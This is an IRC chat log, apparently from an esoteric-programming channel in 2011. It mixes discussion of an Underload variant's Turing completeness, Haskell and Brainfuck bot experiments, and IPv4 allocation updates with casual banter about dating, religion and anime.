23:39:17 <oerjan> debugging tools are always a good idea
23:39:35 <elliott> oerjan: http://sprunge.us/ZLTO
23:39:37 * Sgeo lances elliott
23:39:40 <elliott> done with
23:39:42 <elliott> eval _ xs | trace (show xs) False = undefined
23:39:42 <elliott> at the top
23:39:49 <elliott> oerjan: first element is TOS
23:40:02 <elliott> it is possible that my implementation is buggy
23:40:23 <oerjan> sheesh you mean i _actually_ have to look at your implementation? >:D
23:40:53 <elliott> oerjan: dude it's like 20 lines :P
23:41:16 <elliott> 16 lines of actual implementation, just counted
23:41:20 <oerjan> elliott: i would also recommend including the stack in the trace
23:41:27 <elliott> oerjan: err, that _is_ the trace of the stack :)
23:41:34 <elliott> I can include the program too
23:41:58 <oerjan> oh
23:42:04 <oerjan> well i'll look at your implementation
23:42:42 <elliott> oerjan: http://sprunge.us/EiUe trace with program and stack
23:42:46 <elliott> where first element of list is TOS
23:44:26 <oerjan> elliott: * has the wrong argument order
23:44:30 <elliott> oh :D
23:44:40 <elliott> yep, works now
23:44:41 <elliott> thanks :P
23:45:09 <oerjan> relatively common error in functional underload implementations with top of stack first, i think :D
23:45:15 <elliott> oerjan: now I'm just wondering how to make this interesting :-P
23:46:31 <elliott> oerjan: so do you think :()C is TC :-D
23:47:34 <oerjan> huh
23:47:53 <elliott> oerjan: wat
23:48:06 <oerjan> analogously to how :()^ probably isn't?
23:48:30 <oerjan> for a start, can you even do ^ in it
23:50:10 <oerjan> (:C):C
23:50:32 <zzo38> What does "C" command do exactly?
23:50:32 <oerjan> no wait
23:50:35 <elliott> oerjan: do you _need_ ^?
23:50:39 <elliott> zzo38: swaps TOS and program
23:50:42 <elliott> i.e.
23:50:43 <oerjan> zzo38: swaps the continuation with the top stack element
23:50:46 <elliott> (x)Cy -> (y)x
23:50:52 <zzo38> OK
23:50:56 <elliott> oerjan: (:C):C just terminates anyway fwiw
23:51:07 <oerjan> yeah that didn't work, yet again that pesky ()
23:51:26 <oerjan> ok let's not worry about ^ yet
23:52:14 <oerjan> (:C):C -> (:C)(:C)C -> (:C)():C -> (:C)()()C -> (:C)()()
23:52:45 <oerjan> perhaps it _cannot_ even loop
23:52:59 <elliott> subtle cough
23:53:16 <oerjan> subtle cough actually can loop, just not much else
23:53:19 <elliott> well right
23:53:25 <elliott> can't you reuse its infloop?
23:53:32 <oerjan> heh
23:53:41 <elliott> serious question
23:53:57 <oerjan> i don't have an intuition for transferring combinator calculus to this stack thing
23:54:07 <oerjan> with this few commands
23:54:37 <oerjan> hm what we need is to avoid bringing the continuation down to ()
23:55:01 <oerjan> oh we have no way to make longer strings
23:56:35 <elliott> oerjan: ok fine, *()C
23:56:36 <elliott> no :
23:56:53 <elliott> or :*()C
23:56:54 <elliott> if you want to be
23:56:55 <elliott> BORING
23:57:05 <oerjan> note that no way to make longer strings isn't in _itself_ fatal
23:57:20 <oerjan> but it certainly makes things harder
23:58:06 <elliott> oerjan: maybe if it turns out to be TC we can call it "obvious cough"
23:58:46 <oerjan> let's try *()C
23:59:04 <oerjan> um wait that always shrinks
23:59:09 <elliott> oerjan: yeah i was about to say
23:59:09 <oerjan> no duplication
23:59:18 <elliott> :*()C then
2011-02-18
00:00:09 <elliott> oerjan: C kind of lets you pop things too.
00:00:20 <elliott> oerjan: sort of.
00:00:25 <elliott> no, wait
00:00:25 <oerjan> (*:C):C
00:00:26 <elliott> it doesn't
00:00:27 <elliott> ignore me
00:02:45 <oerjan> (*::C):C if you want some infinite growth
00:04:55 <elliott> oerjan: ok now write a brainfuck interpreter! with input!
00:05:05 <oerjan> XD
00:05:29 <elliott> oerjan: if it's turing complete it's possible obviously because it means it can do anything my computer can do.
00:05:34 <elliott> don't you know anything
00:05:56 <oerjan> I KNOW ALL
00:06:04 <elliott> then why is your name mr. stupid?
00:06:11 <oerjan> SOMETIMES OPPOSITE THINGS
00:07:23 <elliott> `addquote BLAST FROM THE PAST: <oerjan> my name is obviously Oerja Nilsson. Sorry for fooling you all about my gender so long. <AnMaster> oerjan, hm, sounds Scandinavian
00:07:26 -!- cheater00 has joined.
00:08:00 <oerjan> i may have also mentioned that Ørja is a place name
00:08:19 <elliott> oerjan: btw spot something you and Vorpal have in common on this page for a prize (hint: Flash): http://www.environment.gov.au/parks/kakadu/ (as for why I've even loaded that page, it seems that my bored web browsing has adopted the TV Tropes Model)
00:08:26 <HackEgo> 311) BLAST FROM THE PAST: <oerjan> my name is obviously Oerja Nilsson. Sorry for fooling you all about my gender so long. <AnMaster> oerjan, hm, sounds Scandinavian
00:08:34 <elliott> (i.e. read page, open every link in a new tab, close tab, repeat)
00:08:51 <elliott> oerjan: caught me off guard when i saw it though :D
00:10:24 -!- cheater- has quit (Ping timeout: 240 seconds).
00:10:30 <oerjan> i assume you are referring to DMM
00:10:45 <elliott> oerjan: well I can't imagine you and Vorpal have _two_ things in common
00:10:54 <oerjan> INDEED
00:12:10 <elliott> hey since when does DMM have a blog :D
00:12:16 <oerjan> ok i thought a little bit more about :()C and it's definitely not TC: you can _never_ get below the top stack element
00:12:24 <oerjan> ...since always? :D
00:12:33 <elliott> I'M NOT CLEVER OKAY.
00:13:05 <elliott> oerjan: what pace do you recommend i archive-binge iwc btw? i've been meaning to.
00:13:24 <elliott> my usual strategy is "a hundred comics a day". that might get... tiring.
00:13:25 * oerjan hasn't used archive binge
00:13:28 <elliott> oh no
00:13:30 <elliott> i mean it in the usual sense
00:13:37 <elliott> as in
00:13:38 <elliott> binging
00:13:38 <elliott> an archive
00:13:44 <elliott> which is what the site is named after. obviously.
00:14:03 <oerjan> you _do_ know Archive Binge is also on the iwc site
00:14:23 <elliott> oerjan: yes. but. i am a manual man.
00:14:58 <elliott> 15:23:04 <AnMaster> (hm what is a "mad science webcomic"?)
00:14:58 <elliott> 15:23:14 * AnMaster just reads user friendly
00:14:58 <elliott> 15:23:28 <AnMaster> for the last 5 years or so
00:15:08 <oerjan> it's been a while since i binged web comics, but i tend to recall it as including ignoring sleep even more than usual for a few days
00:15:09 <elliott> every time I get mad at Vorpal I'm just going to read some old logs and be thankful that AnMaster died
00:15:30 <oerjan> RIGHT
00:15:57 <elliott> 15:26:41 <AnMaster> EhirD`, what? I use tor when I browse
00:15:57 <elliott> wonder if that's still true
00:20:24 <Ilari> Various leftovers going to APNIC: 139, 140, 144, 150, 153, 157, 163, 171.
00:24:02 <Ilari> Latest update: 26 778 624 addresses total available there.
00:26:01 <Ilari> That's about 0.60 blocks after substracting 1, which means APNIC has total of something like 4.23 blocks left until final /8 policy is triggered.
00:26:51 <Ilari> Last 2 weeks, APNIC has blown through 0.5 blocks.
00:30:28 <Sgeo> I should probably, like, probably, do some, like, Statistics homework
00:38:51 <oerjan> with high probability indeed.
00:45:46 -!- augur has quit (Remote host closed the connection).
00:46:09 -!- augur has joined.
00:46:10 <Ilari> Heh. There are servers that exist just for AXFR of '.' and some other zones, such as 'in-addr.arpa' and 'ip6.arpa'.
01:00:09 <elliott> Argh, why is Xfce so good in most aspects and then so annoyingly bad in a few really important places.
01:06:32 <elliott> Deewiant: So what operation did you end up using :P
01:06:41 <elliott> hm
01:06:49 <elliott> :t \f -> (f `flip` x) `flip` y
01:06:50 <lambdabot> forall (f :: * -> *) b. (Functor f) => f (Expr -> Expr -> b) -> f b
01:06:55 <elliott> heh
01:06:59 <elliott> fuckin' hate caleskell
01:07:20 <elliott> *what operator
01:07:39 <elliott> yay, that indeed does the right thing
01:08:20 <elliott> > let (◻) = flip in (f ◻ x ◻ y) a b
01:08:21 <lambdabot> Ambiguous type variable `a' in the constraints:
01:08:21 <lambdabot> `GHC.Show.Show a'
01:08:22 <lambdabot> a...
01:08:24 <elliott> x_x
01:08:26 <elliott> > let (◻) = flip in (f ◻ x ◻ y) a b :: Expr
01:08:28 <lambdabot> f a x y b
01:08:34 <elliott> wow, that actually works :D
01:08:39 <elliott> oerjan: ^
01:09:41 <oerjan> heh
01:10:31 <elliott> that square is a bit ugly though.
01:10:32 <elliott> at least here.
01:10:46 <elliott> > let (◌) = flip in (f ◌ x ◌ y) a b :: Expr
01:10:48 <lambdabot> f a x y b
01:10:50 <elliott> oerjan: PLEASE FILL IN THE BLANKS
01:11:02 <elliott> > let (◌) = flip in ((f ◌ x ◌ y) ◌) :: Expr
01:11:03 <lambdabot> Couldn't match expected type `SimpleReflect.Expr'
01:11:03 <lambdabot> against inferred ...
01:11:07 <elliott> > let (◌) = flip in ((f ◌ x ◌ y) ◌)
01:11:08 <lambdabot> Overlapping instances for GHC.Show.Show (a -> f b)
01:11:09 <lambdabot> arising from a use of...
01:11:11 <elliott> :t let (◌) = flip in ((f ◌ x ◌ y) ◌)
01:11:12 <lambdabot> parse error (possibly incorrect indentation)
01:11:15 <elliott> meh :D
01:11:16 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
01:12:49 -!- poiuy_qwert has joined.
01:21:38 <pikhq_> Dear asexuals of the world: *mention you're asexual before the second date kthx*.
01:22:27 <Sgeo> o.O
01:22:41 <oerjan> you and Sgeo get a discussion room
01:22:51 <elliott> oerjan: there's an important difference
01:22:52 * Sgeo is not asexual.
01:22:53 <zzo38> How many have a second date without mentioning?
01:22:56 <elliott> i lol'd at what pikhq_ just said
01:23:06 <zzo38> I would not expect it to happen much
01:23:08 <elliott> i never lol at what Sgeo says, i just stare at my irc window sadly
01:23:30 <zzo38> elliott: And what font size is your IRC window supposed to be ???????????????????????????????
01:23:38 <elliott> ...
01:24:10 <Sgeo> I am lolling at ellipsises
01:24:14 <Sgeo> This is scary
01:24:25 <oerjan> an elliptic response
01:26:23 <elliott> Dear Jews of the world: *mention you're Jewish before the second date kthx*.
01:26:25 <elliott> pikhq_ -- ANTISEMITE?
01:27:14 <Ilari> BTW: First currently actually allocated for use unicast IPv4 address: 1.9.1. For IPv6, that address would be 2001:200::1
01:27:24 <Sgeo> pikhq_, should abstinence-only people mention the abstinence thing before the second date too? When does that sort of thing come out?
01:28:56 <zzo38> Probably they should mention. If they have a second date yes they should mention before second date
01:29:41 <Sgeo> I have some reason to believe KT-AT may be abstinence-only, but I'm not certain
01:32:25 <Ilari> The last addresses are 223.255.251.254 (by APNIC) and 2C0F:FFF8:0010:FFFF:FFFF:FFFF:FFFF:FFFF (by AFRINIC). Both of those first addresses were by APNIC.
01:33:50 <elliott> Gregor: Does c2bf still work?
01:34:01 <elliott> "No, it broke."
01:35:39 <Ilari> The good/bad thing about abstinence-only people is that if/when they finally "break down", the result could very well be you know what. :-/
01:35:49 -!- iconmaster has left (?).
01:35:52 <elliott> Ilari: DEATH???
01:37:26 <Ilari> Or a new birth in about 9 months?
01:38:08 <elliott> Well if you want to be LOGICAL about it.
01:38:18 <elliott> But I'm fairly sure being logical about things is a bannable offence here. oerjan?
01:38:32 -!- copumpkin has joined.
01:39:48 <oerjan> THAT WOULD BE ILLOGICAL
01:39:54 <elliott> WHICH IS WHY IT'S THE POLICY
01:40:17 <oerjan> VERY INTUITIVE
01:40:58 <zzo38> Did you consider nothing-only people?
01:41:16 <elliott> oerjan: DID YOU
01:42:09 <oerjan> I NEVER CONSIDER NOTHING ONLY
01:42:17 <elliott> oerjan: bracist
01:42:26 <oerjan> WHAT
01:42:28 <elliott> YEAH
01:42:30 <elliott> YOU HEARD ME
01:42:31 <elliott> JEWMEISTER
01:42:54 <oerjan> curiously, i am not aware of any jewish ancestry
01:43:08 <elliott> oh suuure
01:43:18 <oerjan> of minorities, sami would be more likely, but i cannot recall hearing about that either
01:43:28 <zzo38> Maybe mention the variant of Underload in the wiki.
01:43:39 <elliott> oerjan hasn't done enough interesting things with it for that yet :D
01:43:47 <oerjan> heh
01:43:59 <Gregor> elliott: C2BF never worked :P
01:44:14 <elliott> Gregor: But I'm reading me writing malloc in it in the logs and you saying that it is NOT AVAILABLE ANYWHERREEE
01:44:29 <Gregor> Huh?
01:44:30 <Sgeo> Dammitt I wish Amazon was like Google
01:44:41 <Sgeo> I want to search for books with this in the title that were published before 2000
01:44:57 <Sgeo> I know there's plenty of woo books about this subject, but I'm looking for one specific woo book
01:45:57 <Gregor> http://9gag.com/gag/78952/ lollercopters
01:46:21 <Sgeo> Or maybe they changed the title since I've read it
01:46:28 <Sgeo> This chapter list looks very familiar
01:46:36 <Sgeo> I do remember some of the stories
01:47:01 <Sgeo> Including one bit of testimony from a guy who should have won a Darwin award
01:49:54 <elliott> Gregor: Eh?
01:53:08 -!- poiuy_qwert has quit (Read error: Operation timed out).
01:53:55 <zzo38> How often do you think the "mail" command and "write" command is used in UNIX systems now?
01:54:33 -!- poiuy_qwert has joined.
02:08:37 <Gregor> zzo38: Approximately once every never.
02:08:58 <elliott> i've used mail
02:09:09 <elliott> write though... never :P
02:09:10 <elliott> well
02:09:13 <elliott> i think i used it to bug cpressey once.
02:09:22 <elliott> or did i just use wall.
02:10:25 <elliott> !bf_txtgen Hello, world!
02:10:37 -!- pikhq_ has changed nick to pikhq.
02:10:59 -!- augur has quit (Remote host closed the connection).
02:11:03 <EgoBot> 139 ++++++++++[>++++>+++++++>+++>+<<<<-]>>++.+++++++++++++++++++++++++++++.+++++++..+++.<++++.>>++.<++++++++.--------.+++.------.--------.>+.>. [329]
02:11:08 <elliott> lol terrible
02:11:09 <pikhq> Sgeo: Let's just say that having little interest in a romantic relationship is a bit of a dealbreaker for a romantic relationship.
02:11:22 <elliott> pikhq: asexual != aromantic
02:11:23 <elliott> kthxbai
02:11:29 <pikhq> elliott: She is also aromantic.
02:11:36 <elliott> pikhq: ...and she's... going out on dates?
02:11:41 <elliott> pikhq: Does she just like to torture people?
02:11:52 <pikhq> elliott: I was her first!
02:12:07 <elliott> pikhq: Your last line, it is unparseable.
02:12:17 <pikhq> elliott: I was her first date. Ever.
02:12:32 <elliott> pikhq: Did she figure out in-between the two dates that she was aromantic or something? :-P
02:12:41 <pikhq> Apparently.
02:12:46 <elliott> "This pikhq guy is really gross. I think I'm going to stay away from people. Forever."
02:12:48 <Ilari> !bf_txtgen te3d7pYKTdXVZbUrTpndwNgERsthIWL5
02:12:53 <EgoBot> 306 +++++++++++++[>+++++++++>++++>++++++++>+++++++<<<<-]>-.>>---.<-.>-.<++++.<----.>>>--.<<++++++++++++++++++++.+++++++++.>.>-.--.++++.<--.>-----.<<<++.>.<--.--.>>++.<<+++++++++.>>>-------.<+++.>---------.<<--.<----.+.>>+.>++++.<<+++++.>>+++.-----------------------.-------------------------------------------. [836]
02:13:31 <pikhq> Needless to say, this has been a fairly awkward day.
02:13:42 <elliott> pikhq: Condolences on your... awkward :P
02:13:59 <elliott> pikhq: This is why in Europe we just get shamans to arrange our marriages instead of going on dates.
02:14:17 <elliott> While beating sticks and rocks together and wearing insufficient clothing to count as civilised.
02:15:51 <pikhq> YES
02:16:01 <pikhq> The Empire State Building was built with a zeppelin dock.
02:16:07 <elliott> ...
02:16:10 <elliott> THIS CHANGES EVERYTHING
02:16:18 <pikhq> http://ephemeralnewyork.files.wordpress.com/2009/03/empirestatebuilding1.jpg
02:16:37 <elliott> QUICK, SOMEBODY BUY A ZEPPELIN.
02:16:48 <elliott> pikhq: I like how it looks tiny in that picture :P
02:17:45 -!- MickyBo87 has joined.
02:25:34 <Gregor> But ...
02:25:40 <Gregor> You can't get off a Zeppelin from ... the front tip ...
02:25:49 <zzo38> At FreeGeek I use the "mail" command (I even have it in my login script). I also used "write" once there. I also use "dc" there whenever I want to make a quick calculation.
02:26:03 <Gregor> I use dc now and then.
02:26:16 <zzo38> I happen to like dc
02:27:14 <elliott> I use ghci as my calculator :P
02:27:47 <zzo38> They have Ubuntu but I only use the command shell for everything (except Redmine, since that won't work with the command shell). It is often useful to load multiple tabs for the command shell.
02:28:08 <elliott> isn't redmine a bug tracker thing
02:28:37 <zzo38> elliott: Yes it is. That is what they use there for bug tracker and feature tracking.
02:29:15 <elliott> you could use w3m or links in the command shell to access redmine.
02:30:17 <zzo38> The first time you log in requires your name and email. The name is in the account list anyways though, but I still had to fill it in. I filled in "black@yew" for email but it wouldn't accept that so the system administrator told me to add ".shop.lan" afterward and it accepted that. However I don't use the email of that anyways, so it doesn't matter what is typed there.
02:31:17 <zzo38> I also put "echo fortune | nc -q -1 zzo38computer.cjb.net 70" into my login script as well.
02:31:53 <zzo38> They do not have a local copy of "fortune"
02:32:25 <zzo38> What I cannot figure out is how to make it start the Terminal window maximized. Do you know how?
02:32:32 <elliott> why start X11?
02:32:38 <elliott> you don't need it if you only want to use the shell
02:32:44 <elliott> just use Ctrl+Alt+F1
02:32:48 <elliott> (up to F6 is generally available)
02:32:53 <elliott> (so you can use multiple terminals)
02:32:58 <elliott> this uses the PC's console
02:33:10 <zzo38> elliott: I cannot do that if I push Ctrl+Alt+F1 I cannot login there. It is LTSP and you cannot login LTSP in that way.
02:33:23 <Sgeo> LTSP?
02:33:27 <elliott> oh. lame :P
02:34:23 <zzo38> What does work is to login to fg-utility and then install secure shell and connect that way.
02:35:12 <Sgeo> zzo38 clearly attends the Lutheran Theological Seminary at Philidelphia
02:35:16 -!- augur has joined.
02:35:25 <Sgeo> augur, zzo38 is Lutheran
02:35:43 <augur> ok
02:35:47 <elliott> ?
02:35:56 <zzo38> fg-utility is loaded from the network and then runs locally with a temporary filesystem.
02:36:10 <zzo38> Sgeo: I am not Lutheran, actually. And I do not attend that seminary either.
02:36:12 <Sgeo> [Note: He is not actually]
02:36:12 <elliott> augur: ok?
02:36:18 <augur> ok??
02:36:23 <elliott> <augur> ok
02:36:27 <elliott> zzo38 is totally Lutheran
02:36:28 <augur> yes
02:36:30 <augur> ok
02:37:15 <zzo38> elliott: No I am not Lutheran, actually.
02:37:19 <elliott> prove it
02:38:23 <zzo38> How to prove it?
02:39:13 <zzo38> True or false: What is the bus driver's name?
02:39:24 <Sgeo> Floyd
02:39:25 <Gregor> False.
02:39:29 <Gregor> False McKinnelly.
02:39:38 -!- zzo38 has set topic: True or false: What is the bus driver's name? | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
02:39:58 <zzo38> Gregor: OK. Where is the bus going?
02:40:03 <elliott> zzo38: True.
02:40:04 <elliott> True, Arizona.
02:40:21 <zzo38> OK.
02:40:23 <zzo38> Now I know.
02:40:51 <Sgeo> And knowing is half the action figure doll!
02:41:26 <zzo38> How can I prove not to be Lutheran?
02:42:15 <elliott> Impossibly.
02:45:56 <zzo38> OK, fine. I am agnostic.
02:46:25 <pikhq> Aaaw, I prefer atheism.
02:46:33 <pikhq> We do prayers to Athe, the God of No God.
02:46:46 <zzo38> pikhq: That is OK. You can be atheism if that is what you like to be.
02:47:02 <pikhq> So much better than Agnos, the God Devoid of All Knowledge.
02:48:19 <zzo38> Some people is atheist and some agnostic, and some more religious people. Even some scientists are religious, which is OK, but you still have to remember, assuming God exists is not how you are supposed to do science!
02:48:37 <oerjan> Atëism
02:48:57 <elliott> 00:38:30 <ttm> Here's a simple program that outputs 2^(2^65536) bytes. Add another '+' to the start and it will output 2^(2^(2^65536)) bytes, and so on.
02:48:57 <elliott> 00:38:44 <ttm> +++++++[>>+<[>[>+<-]>[<++>-]<<-]>[<+>-]<<-]>[.-]
02:48:57 <elliott> 00:41:07 <ttm> (Naturally, this assumes integer cells as in ihope's challenge. And it's way too tidy to be the best answer for this length.)
02:48:57 <elliott> nice
02:49:05 <elliott> we should resurrect that competition
02:49:20 <zzo38> oerjan: Is it different language that you put two dots for atheistm?
02:49:20 <elliott> `addquote <zzo38> Some people is atheist and some agnostic, and some more religious people. Even some scientists are religious, which is OK, but you still have to remember, assuming God exists is not how you are supposed to do science!
02:49:31 <elliott> atheistm? saying that is against my religion
02:49:46 <Gregor> Oooooh, this almond soda is spectacular!
02:49:56 <elliott> Gregor: ...O_O
02:49:58 <elliott> Gregor: Send me some.
02:50:05 <Sgeo> I misread that as secular
02:50:11 <oerjan> zzo38: no. it's a pun.
02:50:27 <zzo38> oerjan: What pun is that? Is it a pun in a different language?
02:50:40 <elliott> poor oerjan
02:50:46 <Sgeo> Gregor, you don't have any soda that believes in God?
02:50:51 <oerjan> zzo38: http://en.wikipedia.org/wiki/At%C3%AB
02:50:52 <zzo38> Do you have any secular almond soda?
02:50:58 <Gregor> Soda is incapable of such beliefs.
02:50:59 <Sgeo> </crappy-rehash-of-a-dilbert-joke>
02:51:01 <HackEgo> 311) <zzo38> Some people is atheist and some agnostic, and some more religious people. Even some scientists are religious, which is OK, but you still have to remember, assuming God exists is not how you are supposed to do science!
02:51:25 <elliott> Gregor: I WANT ALMOND OSLDEORIJSH
02:51:34 <elliott> Gregor: Does it taste like liquid marzipan oh god
02:51:37 -!- Mathnerd314 has joined.
02:52:08 <zzo38> O, it is the Greek gods. And it is the ruin, folly, delusion, action performed by hero. Now I know!
02:53:23 -!- MickyBo87 has left (?).
02:53:31 -!- pikhq has quit (Ping timeout: 240 seconds).
02:53:33 -!- pikhq_ has joined.
02:57:31 <Sgeo> http://dilbert.com/strips/comic/1989-08-09/
03:11:22 <elliott> @hoogle a -> a -> Bool
03:11:23 <lambdabot> Prelude (<) :: Ord a => a -> a -> Bool
03:11:23 <lambdabot> Prelude (<=) :: Ord a => a -> a -> Bool
03:11:23 <lambdabot> Prelude (>) :: Ord a => a -> a -> Bool
03:11:41 <elliott> pikhq_: what's that unsafe ghc thing to decide if two objs have the same memory location :p
03:13:11 <pikhq_> elliott: Dunno.
03:17:38 * pikhq_ is still WTF'ing at tday.
03:17:40 <pikhq_> Today, even.
03:18:21 <oerjan> @hoogle a -> a -> IO Bool
03:18:21 <lambdabot> Control.Concurrent.MVar tryPutMVar :: MVar a -> a -> IO Bool
03:18:22 <lambdabot> Data.HashTable update :: HashTable key val -> key -> val -> IO Bool
03:18:22 <lambdabot> Control.Concurrent.MVar swapMVar :: MVar a -> a -> IO a
03:18:47 <elliott> @@ @elite @read @run wordsWise (map reverse) @show @keal
03:18:48 <lambdabot> Plugin `compose' failed with: Prelude.read: no parse
03:18:53 <elliott> @@ @read @elite @run wordsWise (map reverse) @show @keal
03:18:54 <lambdabot> Plugin `compose' failed with: Prelude.read: no parse
03:19:01 <elliott> oerjan: your code sample of ages ago no longer works.
03:19:11 <oerjan> hum?
03:19:20 <elliott> 17:14:02 <oerjan> @@ @read @elite @run wordsWise (map reverse) @show @keal
03:19:20 <elliott> 17:14:15 * oerjan runs after Wong with an axe
03:19:20 <elliott> 17:15:06 <ihope> Does that make sense?
03:19:20 <elliott> 17:15:26 <oerjan> actually i switched @read and @elite
03:19:20 <elliott> 17:15:35 <oerjan> as for the output, certainly not :D
03:19:23 <elliott> 17:20:07 <ihope> Plugin `compose' failed with: Prelude.read: no parse
03:19:25 <elliott> 17:20:35 <ihope> Oh, swapping them yields sense.
03:19:26 <elliott> 17:21:07 <oerjan> yeah, @read needs a well-formed "string"
03:19:29 <elliott> 17:21:18 <oerjan> which @elite certainly does not give
03:19:31 <elliott> 17:21:34 <ihope> So it grabs a Keal quote, reverses every word, and leets the thing?
03:19:33 <elliott> 17:21:40 <oerjan> yep
03:19:34 <elliott> also, it's not -> IO Bool
03:19:36 <elliott> it's -> Bool
03:19:38 <elliott> (it ends with a #, so all bets are off)
03:19:46 <oerjan> elliott: i'd expect wordswise needs a definition
03:19:53 <oerjan> *wordsWise
03:20:11 <elliott> @let wordsWise f = unwords . f . words
03:20:13 <lambdabot> Defined.
03:20:14 <elliott> @@ @elite @read @run wordsWise (map reverse) @show @keal
03:20:16 <lambdabot> |13xs4H 5Y4\/\/lA dIA5 deNiph3dNu
03:20:18 <elliott> @@ @elite @read @run wordsWise (map reverse) @show @keal
03:20:20 <lambdabot> y||Autca TI guB ni h+a/\/\
03:20:21 <elliott> oerjan: very well then
03:20:22 <elliott> @@ @elite @read @run wordsWise (map reverse) @show @keal
03:20:24 <lambdabot> Plugin `compose' failed with: Prelude.read: no parse
03:20:27 <elliott> fail :D
03:25:35 <oerjan> there may be some trouble for some particular quotes, i vaguely recall
03:25:35 <oerjan> maybe very long ones, losing the final " on the string
03:25:35 -!- clog has quit (Ping timeout: 240 seconds).
03:25:35 -!- clog has quit (ended).
03:25:39 -!- clog has joined.
03:25:39 -!- clog has joined.
03:28:05 -!- pikhq_ has quit (Ping timeout: 240 seconds).
03:28:20 -!- pikhq has joined.
03:29:24 <pikhq> Yup, still WTF'ing.
03:30:23 <elliott> pikhq: You can stop WTFing now.
03:30:28 <elliott> It isn't _that_ much of a WTF :P
03:32:24 <pikhq> elliott: BAH
03:32:38 <pikhq> elliott: I WILL WTF AT ANYTHING I FEEL LIKE AS LONG AS I FEEL LIKE.
03:32:48 <Sgeo> s/WT//
03:32:49 <pikhq> I shall, in fact, WTF at the letters WTF now.
03:32:50 <elliott> pikhq: ROW ROW FIGHT THE POWAH
03:33:10 <pikhq> elliott: Someone's watched Tengen Toppa Gurren Lagann recently, eh? :P
03:33:11 <oerjan> world tapdancing foundation
03:33:23 <elliott> no?
03:33:25 <elliott> It's a meme :P
03:33:28 <Sgeo> I thought it was a 4chan meme...
03:33:34 <pikhq> Sgeo: It's lyrics.
03:33:34 <Gregor> World Tapdancing FEDERATION
03:33:40 <elliott> Gregor: MUST
03:33:40 <elliott> BE
03:33:41 <elliott> ESTABLISHED
03:33:48 <oerjan> Gregor: O KAY
03:33:51 <elliott> It must be as ridiculous as professional wrestling.
03:33:58 <elliott> I'm talking about: tapdancing so hard the other guy just FALLS OEVR.
03:34:00 <elliott> *OVER.
03:35:18 <pikhq> Sgeo: From the song "ラップは漢の魂だ! 無理を通して道理を蹴っ飛ばす! 俺たち大グレン団のテーマを耳の穴かっぽじってよ~く聴きやがれ!!" from the Tengen Toppa Gurren Lagann soundtrack.
03:35:35 <elliott> That title...
03:35:39 <elliott> DO THE JAPANESE HAVE NO SENSE OF SCALE
03:35:42 <pikhq> ("Rap is a Man's Soul! We Kick Reason to the Curb to Make the Impossible Possible! Open up Your Ears and Listen to Our Team Dai-Gurren Theme!!")
03:35:47 <elliott> ...evidently not
03:35:50 <pikhq> elliott: No, the series has no sense of scale.
03:36:15 <pikhq> It's a mecha anime. That doesn't take itself even slightly seriously.
03:36:33 <pikhq> It ends with a mech orders of magnitude larger than galaxies.
03:37:23 <elliott> I was under the impression that the mecha-anime-that-doesn't-take-itself-even-slightly-seriously market was completely covered for the next hundred years by FLCL :P
03:37:38 <pikhq> No, Gainax decided to outdo themselves.
03:38:07 <Sgeo> I love how the popup notification displays the characters correctly, but the XChat window doens't
03:38:22 <elliott> "You know what we got wrong last time? Yeah, SEVERAL SENTENCES were semi-coherent."
03:38:24 <elliott> "We should fix that!"
03:38:36 <pikhq> Oh, it's entirely coherent.
03:38:47 <pikhq> That doesn't help.
03:38:51 <Sgeo> Is Gainax the one that made Neon Genesis Evangelion?
03:38:54 -!- aloril has quit (Ping timeout: 264 seconds).
03:38:59 <pikhq> Sgeo: Yes.
03:39:23 <elliott> Can we just forget Evangelion exists and/or ever existed?
03:39:37 <Sgeo> I still haven't seen the movies
03:39:53 <Sgeo> Or the what's her name movie
03:40:01 <Sgeo> Suzumiya Haruhi
03:40:01 <elliott> There is a limit to the amount of pseudo-intellectual Christian symbolism wankery I can handle, and nobody's shut up yet.
03:40:25 <Sgeo> Angels as evil.. um
03:40:40 <Sgeo> They're taking the symbols and making them not symbolic of anything, as far as I'm concerned
03:40:52 <pikhq> elliott: Well, almost any Christian symbolism coming out of Japan is going to be bizarre, psuedo-intellectual wankery.
03:40:54 <elliott> Sgeo: But, duuuude.
03:40:56 <elliott> It's
03:40:56 <elliott> so
03:40:57 <elliott> deep
03:40:57 <elliott> and
03:40:59 <elliott> meaningful
03:40:59 <elliott> and
03:41:00 <elliott> oh
03:41:02 <elliott> my
03:41:04 <elliott> god
03:41:06 <elliott> the
03:41:08 <elliott> best
03:41:10 <elliott> work
03:41:12 <elliott> of
03:41:12 <pikhq> What with Japan having negative understanding of the tenants.
03:41:14 <elliott> fiction
03:41:16 <elliott> in
03:41:18 <elliott> this
03:41:22 <elliott> entire
03:41:24 <elliott> fucking
03:41:26 <elliott> universe
03:42:31 <elliott> 10:50:25 <GregorR> Of course, figuring out roundabouts AT ALL was still pretty tough :P
03:42:33 <elliott> haha Gregor is stupid
03:42:45 <elliott> they're simple, you go around and around and around and around and when you get so dizzy you're gonna vomit, turn randomly
03:42:49 <elliott> repeat until you end up where you want to be or die
03:42:58 <Gregor> YOU HAVE FUCKING ROUNDABOUTS OF ROUNDABOUTS
03:43:03 <elliott> ONLY IN SWINDON
03:43:20 <elliott> Gregor: Beats the US model, i.e. LET'S PILE ROADS ON TOP OF EACH OTHER
03:43:43 <oerjan> <pikhq> elliott: Well, almost any Christian symbolism coming out of Japan is going to be bizarre, psuedo-intellectual wankery. <-- i guess they are treating it about like we treat greek or norse mythology...
03:43:49 <pikhq> oerjan: Worse.
03:43:54 <elliott> <oerjan> [butthurt about norse mythology]
03:44:01 <elliott> <oerjan> im a viking
03:44:06 <elliott> <oerjan> a meaningful viking
03:44:12 <elliott> <oerjan> im "in tune" with my viking ancestry
03:44:42 <oerjan> i only added "norse" as an afterthought, actually...
03:44:50 <pikhq> oerjan: We're at least likely to be aware of what the Greek and Norse gods *stand for*.
03:44:58 <elliott> <oerjan> i was into norse mythology
03:45:01 <elliott> <oerjan> before it was cool.
03:45:11 <pikhq> oerjan: Japan sometimes has Satan as a force of good.
03:45:19 <pikhq> Why? Hell if I know.
03:45:19 <elliott> funny, so does Norway
03:45:25 <oerjan> i _did_ have a norse mythology book as a child, i think
03:45:32 <elliott> pikhq: i dunno, satan sounds like a chiller guy than god :D
03:45:39 <pikhq> Oh, Shin Megami Tensei. Where the final boss is God.
03:45:44 <elliott> he killed way less people in the bible. also, as has been scientifically proven, hell is colder than heaven
03:46:02 <elliott> also: accommodates all the cool people in hell.
